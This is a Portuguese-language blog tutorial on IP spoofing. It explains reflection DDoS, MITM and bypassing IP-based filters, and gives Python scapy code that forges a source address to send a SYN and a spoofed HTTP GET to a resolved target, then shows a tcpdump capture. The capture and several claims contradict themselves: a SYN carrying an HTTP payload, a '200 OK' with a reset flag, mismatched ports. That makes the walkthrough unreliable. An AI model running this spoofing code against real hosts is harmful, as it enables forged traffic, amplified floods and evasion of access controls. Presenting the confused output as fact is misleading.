Opa bão?

Antes de mais nada, sinta-se a vontade para comentar a respeito.

Em 2011 o LulzSec efetuou diversos ataques envolvendo IP Spoofing, dentre eles um alvo, a PSD (PlayStation Network)!
Lembrando disso, resolvi demonstrar de forma simples e ética, OQUE RAIOS É UM IP SPOOFING?

Bem, o IP Spoofing se trata de uma técnica de "baixo nível de rede" (sim isso existe) usada para falsificar o endereço IP de um pacote de dados enviado pela rede, fazendo com que pareça que o tráfego está vindo de um local diferente do verdadeiro.
Em um Ataque DDoS com ip spoofing, você certamente irá colocar o IP alvo como Spoofing para que ao enviar pacotes a sites chineses, por exemplo, o retorno do pacote (incluindo a Handshake) retornará para o seu alvo. Imagine isso em massa.

Ou então você pode querer interceptar uma comunicação com Ataque MITM (Man-in-the-Middle).
Quem sabe fazer bypass em filtros de páginas acessadas por um IP especifico (banco de dados na mão de cliente, por exemplo) .

Enfim, o IP Spoofing pode ser usado para diversas finalidades, mas hoje, eu estarei usando para levar conhecimento a vocês.

Antes disso, gostaria de dizer que em um ataque DDoS usando IP Spoofing, você precisará de amplificação ok?

AVISO: O conteudo a seguir é apenas educacional, só reproduza em HomeLab, pois, não me responsabiliso pelos teus atos, USAR ESTA TÉCNICA EM AMBIENTE REAL É CRIME!

Ferramentas usadas

Neste exemplo irei usar scapy, exatamente por ser bem conhecida, mas nada impede de usar algum raw-scoket como dgram, net, fsocks em outras linguagens como JavaScript(Nodejs/Bun), PHP etc...

Resolvendo DNS

Não vou dar muito detalhe de como as coisas funcionam e muito menos de como dar bypass em WAF(Web Application Firewall), apenas exemplificar.

De início precisamos resolver a DNS para obter o nosso IP alvo (você pode usar ping, hping e até macumba, mas eu fiz em python)

Resultado:

import socket

def resolver_dns(domain):
    try:
        ip = socket.gethostbyname(domain)
        print(f'O IP para o domínio {domain} é: {ip}')
        return ip
    except socket.gaierror:
        print(f'Não foi possível resolver o domínio {domain}')
        return None

domain = 'homelab.host'
target_ip = resolver_dns(domain)

Packet Spoofing

Agora que já possuo o IP do meu alvo já posso elaborar o tipo de ataque que irei fazer.
Neste exemplo irei criar um pacote HTTP "spoofado" em ambiente controlado ok?

Como pode notar, se trata de duas técnicas, sendo um IP Spoofing seguindo de um packet spoofing.

Para o script, separei as seguintes variáveis:

# Configurações
domain = 'homelab.host'
url = "/index.php"  # Caminho para a URL de destino
target_ip = resolver_dns(domain)  # IP do servidor alvo
target_port = 80  # Porta HTTP (80)
source_ip = "10.0.10.3"  # IP Falso (sim, uma terceira maquina)
user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"

O próximo passo será cria nossa Handshake TCP (3-way handshake)
Lembra oque eu disse antes? IP Spoofing não recebe de volta a handshake...
O segredo aqui é não tratar erros, apenas enviar a handshake e colocar um tempo de 500ms para enviar o pacote.

Ficou assim a minha handshake:

def send_syn(): # 3-way handshake
    ip = IP(src=source_ip, dst=target_ip)
    syn_packet = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S", seq=random.randint(1000, 5000))
    print(f"Enviando pacote SYN para {target_ip} na porta {target_port} com IP falsificado: {source_ip}...")
    send(ip/syn_packet)
    print(f"Requisição HTTP GET enviada com IP {source_ip}")

A última função será o nosso pacote "spoofado".
Aqui é onde você coloca a header, prepara sua user-agemt e envia o pacote.
Assim, quando rodar o código teremos o pacote nas logs para compararmos.
E assim ficou nossa função final:

def send_http_get():
    ip = IP(src=source_ip, dst=target_ip)
    http_request = f"GET {url} HTTP/1.1\r\nHost: {domain}\r\nUser-Agent: {user_agent}\r\nConnection: close\r\n\r\n"
    http_packet = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="A", seq=random.randint(1000, 5000))
    send(ip/http_packet/http_request)
    print(f"Requisição HTTP GET enviada com IP {source_ip}")

Você que entende bem python já deve estar irritado de ver atribuição de variáveis repetidas dentro das funções, mas entenda, eu fiz isso para ficar mais didático ok?

Enfim, para rodar o script é só chamar as funções com o nosso tempo no meio:

send_syn()
time.sleep(0.5)
send_http_get()

Efetuando a análise

Chegou então a melhor parte, analisar o trafego enquanto rodo o ataque.

Para analisar o ataque, irei usar tcpdump com o comando: sudo tcpdump -i any port 80
Também vou usar PHP para simular um site genérico: php -S 0.0.0.0:8080

Este foi o resultado:

[Atacante] - 10.0.10.3 (IP Falso) envia a requisição:
10.0.10.3 > 10.0.10.2: HTTP GET /index.php HTTP/1.1
Data: seq 1000, flags [S], win 8192, length 0

[Pacote] - Pacote HTTP enviado:
10.0.10.3.56716 > 10.0.10.2.http: Flags [S], seq 1000, win 8192, length 186: HTTP: GET /index.php HTTP/1.1

[Vítima] - 10.0.10.2 responde ao pacote, mas é recebido por 10.0.10.3:
10.0.10.2 > 10.0.10.3: HTTP/1.1 200 OK
Data: seq 2000, ack 1186, flags [R], win 0, length 0

Considerações finais

É obvio que ocultei algumas coisinhas como, como, por exemplo, "como a conexão foi sucedida".
Além de não ter colocado nenhuma camada de proteção e tudo estar em ambiente controlado, este tipo de ataque é real e muito perigoso.
Esqueci de mencionar que além de ilegal ele também é detectável por firewall, balanceadores de cargas e qualquer análise forense digital, mas não com facilidade.

Por favor, mantenha meus creditos ao conteudo: @FabioSmuu

Obrigado pela atenção